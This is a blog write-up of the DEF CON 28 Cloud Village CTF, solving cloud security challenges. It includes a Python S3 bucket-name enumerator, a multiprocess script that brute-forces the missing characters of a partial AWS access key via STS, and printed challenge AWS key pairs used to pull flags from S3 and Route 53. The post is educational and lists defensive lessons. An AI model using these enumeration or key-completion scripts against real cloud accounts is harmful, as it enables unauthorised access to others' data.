tvd.devhttps://tvd.dev/2020-08-10T00:00:00-07:00DEF CON 28 Cloud Village CTF write up2020-08-10T00:00:00-07:002020-08-10T00:00:00-07:00tvdtag:tvd.dev,2020-08-10:/defcon28-cloud-village-ctf-writeup.html<p>This past weekend was <a class="reference external" href="https://defcon.org">DEF CON 28</a>, with safe mode. The <a class="reference external" href="https://cloud-village.org/">Cloud Village</a> was back for its second year, and another CTF!</p>
<p>Last year I came in first only solving 4 out of the 11 challenges, and this year I was excited to participate again with the <a class="reference external" href="https://twitter.com/CTF_Circle">CTF_Circle team</a>! I …</p><p>This past weekend was <a class="reference external" href="https://defcon.org">DEF CON 28</a>, with safe mode. The <a class="reference external" href="https://cloud-village.org/">Cloud Village</a> was back for its second year, and another CTF!</p>
<p>Last year I came in first only solving 4 out of the 11 challenges, and this year I was excited to participate again with the <a class="reference external" href="https://twitter.com/CTF_Circle">CTF_Circle team</a>! I was the only one that ended up working on the Cloud Village CTF—our team competed across many of the DEF CON village CTFs this year. <a class="reference external" href="https://twitter.com/CTF_Circle/status/1292856176351346688">I finished second</a>, solving 8 out of the 11 challenges!</p>
<p>This post walks through all 11 challenges. I got help from the winning team—attackercommunity—after the challenge on two of them. The final one was not solved by any team. One of the organizers helped us get started after the CTF ended.</p>
<div class="section" id="play-this-first-10-points">
<h2>Play this first (10 points)</h2>
<p>This was a gimme challenge to ensure people were registered, understood the format of the flags, and likely to give the organizers an idea of how many of the registered teams actually were attempting the challenges. The flag was in the description: <tt class="docutils literal"><span class="pre">FLAG-{NyxfmuEvJQ5tMlMKuZNLdEzPnXuyKh9F}</span></tt>.</p>
</div>
<div class="section" id="commitment-issues-100-points">
<h2>Commitment Issues (100 points)</h2>
<blockquote>
<p>Bob was tasked to create a repo containing code in as many languages as she could that would print the obligatory "Hello World". Bob created the code as she was instructed, however, hiis repo was forked by Alice who ended up adding the location of the flag for this level in the code.</p>
<p>Can you find and report the flag, so that we can confirm it's really out there and we are not imagining things?</p>
<p>To get started, you might want to look at Bob's repo. Bob's username is cloudisgod (corny as it is, it describes his sentiment as well)!</p>
</blockquote>
<p>There was a github user with this username, and they had three repos. Two of them had hello world programs in a bunch of languages. These repos were forked by the ctfevents user, and that user had made some changes in both repos. Here is the concise list of urls to visit for the challenge.</p>
<ul class="simple">
<li><a class="reference external" href="https://github.com/cloudisgod">https://github.com/cloudisgod</a></li>
<li><a class="reference external" href="https://github.com/cloudIsgod/ctfgoals">https://github.com/cloudIsgod/ctfgoals</a></li>
<li><a class="reference external" href="https://github.com/ctfevents/ctfgoals">https://github.com/ctfevents/ctfgoals</a></li>
<li><a class="reference external" href="https://github.com/ctfevents/ctfgoals/commit/cc33bb8daf29865c6033badd75ea8cf7477588a8">https://github.com/ctfevents/ctfgoals/commit/cc33bb8daf29865c6033badd75ea8cf7477588a8</a></li>
<li><a class="reference external" href="https://github.com/ctfevents/ctfgoals/commit/c7f0202ccdd3a5ffd5f8f8f6b4dfb760b21ac2cc">https://github.com/ctfevents/ctfgoals/commit/c7f0202ccdd3a5ffd5f8f8f6b4dfb760b21ac2cc</a></li>
</ul>
<img alt="" class="align-center" src="/images/dc28-cloud-ctf-commit-issues.png" />
<p>I spent some time attempting to see if that invalid aws key could be converted to something useful... turns out that was a <a class="reference external" href="https://en.wikipedia.org/wiki/Red_herring">red herring</a>. The <tt class="docutils literal">secret</tt> value base64 decodes into a azure storage blob url:</p>
<pre class="literal-block">
$ echo 'aHR0cHM6Ly93aGF0aXNpbnRoaXNibG9iLmJsb2IuY29yZS53aW5kb3dzLm5ldC9vaGl0c3RoZWZsYWcv' | base64 -d
https://whatisinthisblob.blob.core.windows.net/ohitstheflag/
</pre>
<p>Copying that directory locally is possible, and results in a file that contains the flag!</p>
<pre class="literal-block">
$ azcopy copy https://whatisinthisblob.blob.core.windows.net/ohitstheflag/* .
$ cat weird-name-for-a-flag-file.txt
FLAG-{U2NyZXdJdExldCdzZG9JdEAxMDBwb2ludHM=}
</pre>
<div class="section" id="lessons">
<h3>Lessons</h3>
<ul class="simple">
<li>Git history is forever, and if public for long enough, will be archived.</li>
<li>Base64 keeps no secrets.</li>
<li>Public cloud storage is not a place for sensitive information.</li>
</ul>
</div>
</div>
<div class="section" id="who-is-this-food-for-150-points">
<h2>Who is this food for? (150 points)</h2>
<blockquote>
<p>The Jumping Sparrow annual food festival is here. The website is ready and saved on AWS S3 as a backup. The admin, our very own Agent K of Humans in Black has purchased a domain where the site will be hosted.</p>
<p>Alas, the admin seems to have lost his way home last night and is not reachable on his transponder as well! Can you help us find the FLAG so that we can remotely hijack his transponder and see where he is?</p>
<p>You may start looking at AWS S3 to find the website first, that might give you a clue.</p>
<p>Oh, Agent K is nefarious for using easy to guess names for his storage, like we found him storing his mother's recipes in S3 buckets called "recipe-galaxynuts" and "ruminfused-galaxynuts" which later ended up on his personal blog of galaxynuts.com anyways.</p>
<p>Given his logic of naming things, the name of the storage we are looking for should be "something-jumpingsparrow". Good luck with your hunt!</p>
</blockquote>
<p>The description here ended up being mostly misdirection. I don't know if there actually was an S3 bucket—I spent several hours running a program that checked for lots of permutations of food related words as the prefix for "<prefix>-jumpingsparrow". I also looked for all kind of men in black foods, agent K foods, spaceballs foods, etc. I searched <a class="reference external" href="https://buckets.grayhatwarfare.com/">https://buckets.grayhatwarfare.com/</a>. I found no buckets. This was the program I used to check for buckets, though, for what that's worth:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">click</span>
<span class="kn">import</span> <span class="nn">inflect</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">command</span><span class="p">()</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">argument</span><span class="p">(</span><span class="s1">'wordlist'</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="n">click</span><span class="o">.</span><span class="n">File</span><span class="p">())</span>
<span class="k">def</span> <span class="nf">cli</span><span class="p">(</span><span class="n">wordlist</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
<span class="n">ieng</span> <span class="o">=</span> <span class="n">inflect</span><span class="o">.</span><span class="n">engine</span><span class="p">()</span>
<span class="n">words_raw</span> <span class="o">=</span> <span class="n">wordlist</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">words</span> <span class="o">=</span> <span class="p">[</span><span class="n">w</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span> <span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="n">words_raw</span><span class="o">.</span><span class="n">splitlines</span><span class="p">()]</span>
<span class="n">singular</span> <span class="o">=</span> <span class="p">[</span><span class="n">ieng</span><span class="o">.</span><span class="n">singular_noun</span><span class="p">(</span><span class="n">w</span><span class="p">)</span> <span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="n">words</span> <span class="k">if</span> <span class="n">ieng</span><span class="o">.</span><span class="n">singular_noun</span><span class="p">(</span><span class="n">w</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">False</span><span class="p">]</span>
<span class="n">all_words</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="sa">f</span><span class="s1">'[^</span><span class="si">{</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_lowercase</span><span class="si">}</span><span class="s1">]'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="n">singular</span> <span class="o">+</span> <span class="n">words</span><span class="p">:</span>
<span class="n">all_words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">sub</span><span class="p">(</span><span class="s1">''</span><span class="p">,</span> <span class="n">w</span><span class="p">))</span>
<span class="n">suffix</span> <span class="o">=</span> <span class="s1">'jumpingsparrow'</span>
<span class="n">possibles</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">with</span> <span class="n">click</span><span class="o">.</span><span class="n">progressbar</span><span class="p">(</span><span class="n">all_words</span><span class="p">)</span> <span class="k">as</span> <span class="n">pb</span><span class="p">:</span>
<span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="n">pb</span><span class="p">:</span>
<span class="n">bucket_name</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">w</span><span class="si">}</span><span class="s1">-</span><span class="si">{</span><span class="n">suffix</span><span class="si">}</span><span class="s1">'</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">head</span><span class="p">(</span><span class="sa">f</span><span class="s1">'http://</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s1">.s3.amazonaws.com'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">resp</span><span class="o">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">404</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'SUCCESS: possible bucket name: </span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="n">possibles</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">bucket_name</span><span class="p">)</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">possibles</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'SUCCESS: possible bucket name: </span><span class="si">{</span><span class="n">p</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">cli</span><span class="p">()</span>
</pre></div>
<p>This flag was actually found via WHOIS record.:</p>
<pre class="literal-block">
$ whois jumpingsparrow.co | grep FLAG
Registrant State/Province: FLAG-{WsWnYSnvFbak0dE2mfUjLr12ELdmUbSo}
</pre>
<div class="section" id="id1">
<h3>Lessons</h3>
<ul class="simple">
<li>WHOIS records are a useful source of OSINT.</li>
<li>CTFs sometimes use misdirection in their challenge prompts.</li>
</ul>
</div>
</div>
<div class="section" id="what-name-do-i-cling-on-150-points-unsolved-during-ctf">
<h2>What name do I cling on? (150 points) - Unsolved during CTF</h2>
<p><strong>Note:</strong> <em>I did not solve this challenge during the CTF, and neither did any other team. As far as we can tell, none of the teams figured out there was a backup.zip file to download. One of the organizers gave us a big hint after the CTF ended that enabled us to find the backup.zip.</em></p>
<blockquote>
<p>Rose DeWitt Bukater is super tech savy for her age, at just over 112 years old, she is the oldest AWS administrator in her county. But old age has its perils. One of them being the inability to grasp new knowledge as quickly as she did when she was aboard the RMS Titanic.</p>
<p>Configuration goof ups have become a weekly thing now with her. Like the domain configuration she has in place for her backup buckets. Or the MongoDB server she manages.</p>
<p>I mean, look at the MongoDB backup she has made at <a class="reference external" href="http://snapshot.cloudvillagectf.co/secondary-snapshots/">http://snapshot.cloudvillagectf.co/secondary-snapshots/</a>, clearly missing out on utilizing AWS' cool features to export the database and instead ending up with a giant blob. Jack can't seem to make head nor tail of it either and does not believe this is the actual backup. He believes there has to be a proper backup somewhere in that bucket (like the Heart of the Ocean)!</p>
<p>There is no plank of wood to save Jack this time! Can you help him find the actual backup and use the information in there to find the flag for this level please? Before he sinks again!</p>
</blockquote>
<p>Querying the DNS for the url in the challenge prompt shows that this is in S3 and in the us-west-1 region.</p>
<pre class="literal-block">
$ dig snapshot.cloudvillagectf.co +short
snapshot.cloudvillagectf.co.s3.amazonaws.com.
s3-us-west-1-w.amazonaws.com.
52.219.116.82
</pre>
<p>Requsting the full url from the prompt returns an AccessDenied response: <a class="reference external" href="http://snapshot.cloudvillagectf.co/secondary-snapshots/">http://snapshot.cloudvillagectf.co/secondary-snapshots/</a>. If there is a secondary, there could be a primary snapshot, but that gave the same response. <a class="reference external" href="http://snapshot.cloudvillagectf.co/primary-snapshots/">http://snapshot.cloudvillagectf.co/primary-snapshots/</a></p>
<p>I tried enumerating both those prefixes with <a class="reference external" href="https://github.com/maurosoria/dirsearch">dirsearch</a> to no avail. I guess that didn't try requesting backup.zip. :-(</p>
<p>After the CTF with the hint, I was able to get the backups (both primary and secondary). The primary had three dbs, each with one or more collections, and several of them had 10k ish items. The production db had one item that was not like the others—it had an AWS access key id and secret key. This is how I restored the mongodb and found the anomalous key on my mac.</p>
<pre class="literal-block">
$ brew tap mongodb/brew
$ brew install mongodb-community mongodb-database-tools
$ brew services start mongodb-community
$ mkdir -pv unpack
$ cd unpack
$ curl -vs 'http://snapshot.cloudvillagectf.co/primary-snapshots/backup.zip' -o primary_backup.zip
$ unzip primary_backup.zip
$ ls backup/
admin production test
$ mongorestore backup
2020-08-09T16:30:30.311-0700 preparing collections to restore from
2020-08-09T16:30:30.312-0700 reading metadata for production.config from backup/production/config.metadata.json
2020-08-09T16:30:30.312-0700 reading metadata for test.testData1 from backup/test/testData1.metadata.json
2020-08-09T16:30:30.312-0700 reading metadata for test.testData from backup/test/testData.metadata.json
2020-08-09T16:30:30.349-0700 restoring test.testData1 from backup/test/testData1.bson
2020-08-09T16:30:30.363-0700 restoring test.testData from backup/test/testData.bson
2020-08-09T16:30:30.374-0700 no indexes to restore
2020-08-09T16:30:30.374-0700 finished restoring test.testData (1000 documents, 0 failures)
2020-08-09T16:30:30.381-0700 restoring production.config from backup/production/config.bson
2020-08-09T16:30:30.441-0700 no indexes to restore
2020-08-09T16:30:30.441-0700 finished restoring test.testData1 (10000 documents, 0 failures)
2020-08-09T16:30:30.470-0700 no indexes to restore
2020-08-09T16:30:30.470-0700 finished restoring production.config (10001 documents, 0 failures)
2020-08-09T16:30:30.470-0700 21001 document(s) restored successfully. 0 document(s) failed to restore.
$ mongo
> use production
> db.getCollectionNames()
[ "config" ]
> db.config.find()
{ "_id" : ObjectId("5f26c8677ae6e26bd1fe89eb"), "config" : "All config data" }
...
> db.config.find({"config": {$not: /All config data/}})
{ "_id" : ObjectId("5f26d3fed615c40a916ecd69"), "config" : "AKIAVTXFIGND7WF7HPGM", "secret" : "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" }
</pre>
<p>I set that access key as the <tt class="docutils literal"><span class="pre">dc28-cloud-cling-on</span></tt> <a class="reference external" href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-profiles">aws cli profile</a>. Then after trying to list s3 buckets, other objects in the buckets above, rds instance, running <a class="reference external" href="https://github.com/nccgroup/ScoutSuite">scoutsuite</a>, I eventually queried Route 53 hosted zones. There was one! Inside it was a CNAME for the snapshot.cloudvillagectf.co flag with the flag!</p>
<pre class="literal-block">
$ aws --profile dc28-cloud-cling-on sts get-caller-identity
{
"UserId": "AIDAVTXFIGNDZGOUSGFMG",
"Account": "385954100039",
"Arn": "arn:aws:iam::385954100039:user/domain-hypocrisy"
}
$ aws --profile dc28-cloud-cling-on route53 list-hosted-zones
{
"HostedZones": [
{
"Id": "/hostedzone/Z00275981I1V4H62850JU",
"Name": "cloudvillagectf.co.",
"CallerReference": "0b908c48-5966-4735-bbef-d0c0ab30445a",
"Config": {
"Comment": "not needed",
"PrivateZone": true
},
"ResourceRecordSetCount": 3
}
]
}
$ aws --profile dc28-cloud-cling-on route53 list-resource-record-sets --hosted-zone-id Z00275981I1V4H62850JU
...
{
"Name": "snapshot.cloudvillagectf.co.",
"Type": "CNAME",
"TTL": 300,
"ResourceRecords": [
{
"Value": "FLAG-{42DDnVtppp2dhTATCLGwqoKrqrVSo5k2}"
}
]
}
]
}
</pre>
<div class="section" id="id2">
<h3>Lessons</h3>
<ul class="simple">
<li>Check for backup.zip when enumerating files.</li>
<li>Don't store AWS access keys in a database. Put them in the environment or a secret manager, or better yet use IAM roles.</li>
<li>Use the CSP provided backup tools when available. If you do need to create your own backup, make sure they are encrypted (ideally using something like KMS). Definitely don't use zip file encryption. Ever.</li>
</ul>
</div>
</div>
<div class="section" id="where-s-the-storage-200-points">
<h2>Where's the storage? (200 points)</h2>
<blockquote>
<p>Some people just like to watch the world burn. Like the chap who created this challenge.</p>
<p>If you have what it takes, can you reach the flag by following the breadcrumbs?</p>
<p>We have heard he is a big fan of AWS, so try your luck with S3 perhaps? Psst, he is obsessed with the name storehousepost as a weird fetish.</p>
<p>Uh and look for the index page, the challenge creator is sadistic at best :)</p>
</blockquote>
<p>There is an S3 bucket with that name in the ap-south-1 region, and it has an index.html. There is a note about a museum at the top, and then 1000+ lines down, there is a comment about bright blue cloudless skies, which I thought might point to Azure.</p>
<p>$ dig storehousepost.s3.amazonaws.com +short
s3-w.ap-south-1.amazonaws.com.
52.219.64.72</p>
<p><a class="reference external" href="http://storehousepost.s3.amazonaws.com/index.html">http://storehousepost.s3.amazonaws.com/index.html</a>:</p>
<pre class="literal-block">
Welcome to the museum of payloads and exploits
We have all antique payloads and rare exploits across the globe
...
<!--I like the bright blue cloudless skies-->
</pre>
<p><a class="reference external" href="https://storehousepost.blob.core.windows.net/">https://storehousepost.blob.core.windows.net/</a> seemed like it might exist, but I didn't find anything in there. I eventually started trying all the Digital Ocean Spaces (their version of S3), and found a bucket with that name in their Singapore region. <a class="reference external" href="https://storehousepost.sgp1.digitaloceanspaces.com/index.html">https://storehousepost.sgp1.digitaloceanspaces.com/index.html</a> Inside was another post about the museum, and a comment about nothing to see 1000+ lines at the bottom.</p>
<pre class="literal-block">
Welcome to the third Museum
This is infact our largest museum
...
<!-- Nothing to see here, have you tried what remains? -->
</pre>
<p>Next I tried GCP and found a storage bucket there with an index.html file that had the flag! (I used the storage APIs to find the download url below.)</p>
<pre class="literal-block">
$ curl -vs 'https://www.googleapis.com/download/storage/v1/b/storehousepost/o/index.html?generation=1596041548811660&alt=media' -o gcp_index.html
$ tail -1 gcp_index.html
<!-- FLAG-{qJBcwlaqOgwqHX08Jf4Unk14zD9pclOX} -->
</pre>
<div class="section" id="id3">
<h3>Lessons</h3>
<ul class="simple">
<li>Exploring how a company uses various cloud providers, and their regions, can lead to some interesting finds and data leaks.</li>
<li>For CTFs, or at least this one, enumerating all the cloud provider storage solutions is useful.</li>
</ul>
</div>
</div>
<div class="section" id="fused-200-points-unsolved-during-ctf">
<h2>Fused!!! (200 points) - Unsolved during CTF</h2>
<blockquote>
<p>Headers can have interesting consequences on what the server returns. Malformed, misconfigured and unexpected headers can all lead to interesting things. See if you can reach our server that appears to have been misconfigured?</p>
<p>How do we start you ask? Uh, fuzz for subdomains I think. That should get you somewhere.</p>
</blockquote>
<p>There was a domain at <a class="reference external" href="http://fuzz.cloudvillagectf.co/">http://fuzz.cloudvillagectf.co/</a> that used an S3 bucket. It had an index.html page with some thoughts from Alice in Wonderland, which linked to an index.css page, which added an image of an Alice in Wonderland and the White Rabbit going down the rabbit hole...</p>
<img alt="" class="align-center" src="/images/dc28-cloud-ctf-fused-rabbit.jpg" />
<p>I was expecting to see some <a class="reference external" href="https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMetadata.html#object-metadata">S3 metadata headers</a> given the prompt, but there were not any user defined headers. I also thought there might be a Lambda @Edge function adding headers, but alas that wasn't the case since the DNS pointed directly to the S3 bucket and it would have needed to go through CloudFront in order to use Lambda @Edge.</p>
<p>That's as far as I got. After the CTF, the attackercommunity team revealed there was a GCP bucket with the fuzz-cloud name, and it had user defined metadata in the response. Base64 decoding that metadata revealed the flag.</p>
<pre class="literal-block">
$ curl -vs 'https://storage.googleapis.com/fuzz-cloud/index.html' -o/dev/null
< x-goog-meta-you-pwned-it: RkxBRy17YlZ1bVcwTHM5NWRXcGVTNGN4Znk1ZGVxQmY5T1ZrZHB9
$ echo 'RkxBRy17YlZ1bVcwTHM5NWRXcGVTNGN4Znk1ZGVxQmY5T1ZrZHB9' | base64 -d
FLAG-{bVumW0Ls95dWpeS4cxfy5deqBf9OVkdp}
</pre>
<div class="section" id="id4">
<h3>Lessons</h3>
<ul class="simple">
<li>Keep those cloud storage buckets private.</li>
<li>If there is a need for public objects, ensure their metadata does not include sensitive information.</li>
<li>For CTFs, and <a class="reference external" href="https://en.wikipedia.org/wiki/Red_team">red teaming</a> in general, make sure to enumerate different CSPs as well as variations on the core name.</li>
</ul>
</div>
</div>
<div class="section" id="the-broken-user-200-points">
<h2>The Broken User (200 points)</h2>
<blockquote>
<p>Not all stories have a happy ending. Like the story of Bob who deleted one of our important backups by gaining access to an S3 bucket.</p>
<p>We have setup an environment that attempts to mimic the steps the Bob may have possibly taken to hurt our finances while having access to partial credentials of one of our other users.</p>
<p>See if you can get the flag by using the environment. You may start here</p>
<p><a class="reference external" href="http://rogueuser.cloudvillagectf.co/index.html">http://rogueuser.cloudvillagectf.co/index.html</a></p>
</blockquote>
<p>That page contained a partial AWS access key ID and a complete AWS secret access key.</p>
<pre class="literal-block">
...
<p>Here's the partial ACCESS KEY to begin with.</p>
<ul><strong>VTXFIGNDUZ3E</strong></ul>
<ul><strong>psLn2FftAVZBPZQABNLbyHXMKK4b0bWkzsSk498+</strong></ul>
...
</pre>
<p>The html indicates that only the access key part is partial. AWS secret keys are 40 characters long, which that one is. AWS access key ids are 20 characters long and they always start with <tt class="docutils literal">AKIA</tt>. So we know that there are 4 other characters that go with the access key.</p>
<p>AWS access keys use the characters A-Z and 2-7. I did get a little side tracked by <a class="reference external" href="https://summitroute.com/blog/2018/06/20/aws_security_credential_formats/">Scott Piper's blog from 2018</a>, which indicates that the 5th character and last character were more constrained. That no longer seems to be the case; all characters after the AKIA prefix seem to be able to use the full range of A-Z2-7 values.</p>
<p>There are 32 (2^5) options for each character, and four characters to replace. That gives a little over a 1 million permutations (2^5^4) for four characters, assuming we know where the four characters go. To test each individual IAM access key combination, I used the <a class="reference external" href="https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html">STS GetCallerIdentity API</a> using the <a class="reference external" href="https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/sts.html#STS.Client.get_caller_identity">boto3 aws sdk</a>. I didn't rigorously test this API's response times; the handful of timed requests I made took about 500 milliseconds. If I tested all access key permutations sequentially, it would have taken a little over 145 hours to test all 1 million key permutations. The CTF only ran for 51 hours, so that was not feasible. I was able to concurrently test the access key permutations using 96 python processes, which reduced the time required to test the 1 million permutations to a little over 90 minutes.</p>
<p>I guessed that all four character went after the AKIA prefix first, which was not correct. After letting that run and discovering none of those worked, I then guessed that they all went at the end. (I was really hoping they were not split between the front and the back of the partial, or interspersed in the partial because that would dramatically increase the time required to brute force.) Fortunately, they were all at the end, and that revealed a working key. Here is the program I used to brute force.</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">boto3</span>
<span class="kn">import</span> <span class="nn">botocore.exceptions</span>
<span class="kn">import</span> <span class="nn">click</span>
<span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">import</span> <span class="nn">multiprocessing</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">command</span><span class="p">()</span>
<span class="nd">@click</span><span class="o">.</span><span class="n">option</span><span class="p">(</span><span class="s1">'--workers'</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="mi">96</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">cli</span><span class="p">(</span><span class="n">workers</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
<span class="n">access_key_prefix</span> <span class="o">=</span> <span class="s1">'AKIA'</span>
<span class="n">access_key_part</span> <span class="o">=</span> <span class="s1">'VTXFIGNDUZ3E'</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Generating permutations...'</span><span class="p">)</span>
<span class="c1"># A-Z and 2-7</span>
<span class="n">valid_chars</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="s1">'234567'</span><span class="p">)</span>
<span class="n">random</span><span class="o">.</span><span class="n">shuffle</span><span class="p">(</span><span class="n">valid_chars</span><span class="p">)</span>
<span class="n">perms</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="o">.</span><span class="n">product</span><span class="p">(</span><span class="n">valid_chars</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="mi">4</span><span class="p">))</span>
<span class="n">random</span><span class="o">.</span><span class="n">shuffle</span><span class="p">(</span><span class="n">perms</span><span class="p">)</span>
<span class="n">four_letter_perms</span> <span class="o">=</span> <span class="nb">list</span><span class="p">([</span><span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">perms</span><span class="p">])</span>
<span class="n">random</span><span class="o">.</span><span class="n">shuffle</span><span class="p">(</span><span class="n">four_letter_perms</span><span class="p">)</span>
<span class="c1"># AKIA....VTXFIGNDUZ3E</span>
<span class="c1"># all_access_keys = [f'{access_key_prefix}{four_letters}{access_key_part}' for four_letters in four_letter_perms]</span>
<span class="c1"># take two!: AKIAVTXFIGNDUZ3E....</span>
<span class="n">all_access_keys</span> <span class="o">=</span> <span class="p">[</span><span class="sa">f</span><span class="s1">'</span><span class="si">{</span><span class="n">access_key_prefix</span><span class="si">}{</span><span class="n">access_key_part</span><span class="si">}{</span><span class="n">four_letters</span><span class="si">}</span><span class="s1">'</span> <span class="k">for</span> <span class="n">four_letters</span> <span class="ow">in</span> <span class="n">four_letter_perms</span><span class="p">]</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Starting to work...'</span><span class="p">)</span>
<span class="k">with</span> <span class="n">multiprocessing</span><span class="o">.</span><span class="n">Pool</span><span class="p">(</span><span class="n">workers</span><span class="p">)</span> <span class="k">as</span> <span class="n">pool</span><span class="p">:</span>
<span class="n">results</span> <span class="o">=</span> <span class="n">pool</span><span class="o">.</span><span class="n">map</span><span class="p">(</span><span class="n">check_one_access_key</span><span class="p">,</span> <span class="n">all_access_keys</span><span class="p">)</span>
<span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">results</span><span class="p">:</span>
<span class="k">if</span> <span class="n">r</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'Valid access key: </span><span class="si">{</span><span class="n">r</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">check_one_access_key</span><span class="p">(</span><span class="n">access_key</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
<span class="c1"># print(f'access_key {access_key}')</span>
<span class="n">secret_key</span> <span class="o">=</span> <span class="s1">'psLn2FftAVZBPZQABNLbyHXMKK4b0bWkzsSk498+'</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">access_key</span><span class="p">)</span> <span class="o">==</span> <span class="mi">20</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">secret_key</span><span class="p">)</span> <span class="o">==</span> <span class="mi">40</span><span class="p">)</span>
<span class="n">sts</span> <span class="o">=</span> <span class="n">boto3</span><span class="o">.</span><span class="n">client</span><span class="p">(</span><span class="s1">'sts'</span><span class="p">,</span> <span class="n">aws_access_key_id</span><span class="o">=</span><span class="n">access_key</span><span class="p">,</span> <span class="n">aws_secret_access_key</span><span class="o">=</span><span class="n">secret_key</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">resp</span> <span class="o">=</span> <span class="n">sts</span><span class="o">.</span><span class="n">get_caller_identity</span><span class="p">()</span>
<span class="k">except</span> <span class="n">botocore</span><span class="o">.</span><span class="n">exceptions</span><span class="o">.</span><span class="n">ClientError</span> <span class="k">as</span> <span class="n">ex</span><span class="p">:</span>
<span class="k">return</span> <span class="p">(</span><span class="kc">False</span><span class="p">,</span> <span class="n">access_key</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'Valid access key: </span><span class="si">{</span><span class="n">access_key</span><span class="si">}</span><span class="s1">'</span><span class="p">)</span>
<span class="k">return</span> <span class="p">(</span><span class="kc">True</span><span class="p">,</span> <span class="n">access_key</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">cli</span><span class="p">()</span>
</pre></div>
<pre class="literal-block">
$ python exploit_broken_user.py
Generating permutations...
Starting to work...
Valid access key: AKIAVTXFIGNDUZ3EEFMB
</pre>
<p>I set the now known access key and secret in a <tt class="docutils literal"><span class="pre">cd28-cloud-broken-user</span></tt> profile, and started exploring the S3 bucket, which revealed the flag!</p>
<pre class="literal-block">
$ aws sts get-caller-identity --profile cd28-cloud-broken-user
{
"UserId": "AIDAVTXFIGNDQ7VIGBOFD",
"Account": "385954100039",
"Arn": "arn:aws:iam::385954100039:user/dragonmaster"
}
$ aws --profile cd28-cloud-broken-user s3 ls s3://rogueuser.cloudvillagectf.co/
PRE assets/
PRE images/
2020-08-01 07:34:33 651 CREDITS.txt
2020-08-01 07:34:33 17130 LICENSE.txt
2020-08-01 07:34:33 39 flag.txt
2020-08-01 07:34:33 1779 index.html
$ aws --profile cd28-cloud-broken-user s3 cp s3://rogueuser.cloudvillagectf.co/flag.txt ./
download: s3://rogueuser.cloudvillagectf.co/flag.txt to ./flag.txt
$ cat flag.txt
FLAG-{jnLvAFcbxbHu9sIlF5us2pQVBrnrD1la}
</pre>
